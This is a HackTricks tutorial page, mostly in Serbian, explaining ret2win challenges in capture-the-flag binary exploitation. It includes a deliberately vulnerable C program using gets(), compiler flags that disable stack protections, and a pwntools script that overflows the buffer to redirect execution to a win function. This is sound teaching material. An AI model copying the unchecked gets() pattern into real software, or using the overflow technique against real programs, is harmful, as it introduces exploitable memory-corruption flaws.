Ret2win

Support HackTricks

Basic Information

Ret2win izazovi su popularna kategorija u Capture The Flag (CTF) takmičenjima, posebno u zadacima koji uključuju binary exploitation. Cilj je iskoristiti ranjivost u datom binarnom fajlu da se izvrši određena, neinvokovana funkcija unutar binarnog fajla, često nazvana nešto poput win, flag, itd. Ova funkcija, kada se izvrši, obično ispisuje zastavicu ili poruku o uspehu. Izazov obično uključuje prepisivanje povratne adrese na steku kako bi se preusmerio tok izvršenja na željenu funkciju. Evo detaljnijeg objašnjenja sa primerima:

C Example

Razmotrite jednostavan C program sa ranjivošću i win funkcijom koju nameravamo da pozovemo:

#include <stdio.h>
#include <string.h>

void win() {
printf("Congratulations! You've called the win function.\n");
}

void vulnerable_function() {
char buf[64];
gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
}

int main() {
vulnerable_function();
return 0;
}

Da biste kompajlirali ovaj program bez zaštite steka i sa ASLR onemogućenim, možete koristiti sledeću komandu:

gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
  • -m32: Kompajlirajte program kao 32-bitni binarni fajl (ovo je opcionalno, ali uobičajeno u CTF izazovima).

  • -fno-stack-protector: Onemogućite zaštitu od prelivanja steka.

  • -z execstack: Dozvolite izvršavanje koda na steku.

  • -no-pie: Onemogućite poziciono nezavisne izvršne fajlove kako biste osigurali da se adresa funkcije win ne menja.

  • -o vulnerable: Imenovati izlazni fajl vulnerable.

Python Exploit koristeći Pwntools

Za exploit, koristićemo pwntools, moćan CTF okvir za pisanje eksploitacija. Skripta za exploit će kreirati payload za prelivanje bafera i prepisivanje adrese povratka sa adresom funkcije win.

from pwn import *

# Set up the process and context for the binary
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path

# Find the address of the win function
win_addr = p32(0x08048456)  # Replace 0x08048456 with the actual address of the win function in your binary

# Create the payload
# The buffer size is 64 bytes, and the saved EBP is 4 bytes. Hence, we need 68 bytes before we overwrite the return address.
payload = b'A' * 68 + win_addr

# Send the payload
p.sendline(payload)
p.interactive()

Da biste pronašli adresu win funkcije, možete koristiti gdb, objdump ili bilo koji drugi alat koji vam omogućava da pregledate binarne datoteke. Na primer, sa objdump, mogli biste koristiti:

objdump -d vulnerable | grep win

Ova komanda će vam prikazati asembler funkcije win, uključujući njenu početnu adresu.

Python skripta šalje pažljivo oblikovanu poruku koja, kada je obradi vulnerable_function, preplavi bafer i prepisuje adresu povratka na steku sa adresom win. Kada vulnerable_function vrati, umesto da se vrati na main ili izađe, skače na win, i poruka se ispisuje.

Zaštite

  • PIE treba da bude onemogućena kako bi adresa bila pouzdana tokom izvršavanja ili adresa na kojoj će funkcija biti smeštena neće uvek biti ista i biće vam potrebna neka leak da biste saznali gde je funkcija win učitana. U nekim slučajevima, kada funkcija koja uzrokuje prelivanje je read ili slična, možete izvršiti Delimično Prepisivanje od 1 ili 2 bajta da promenite adresu povratka na funkciju win. Zbog načina na koji ASLR funkcioniše, poslednja tri heksadecimalna nibbla nisu nasumična, tako da postoji 1/16 šanse (1 nibble) da dobijete ispravnu adresu povratka.

  • Stack Canaries takođe treba da budu onemogućene ili kompromitovana EIP adresa povratka nikada neće biti praćena.

Ostali primeri & Reference

ARM64 Primer

Ret2win - arm64
Podržite HackTricks

Last updated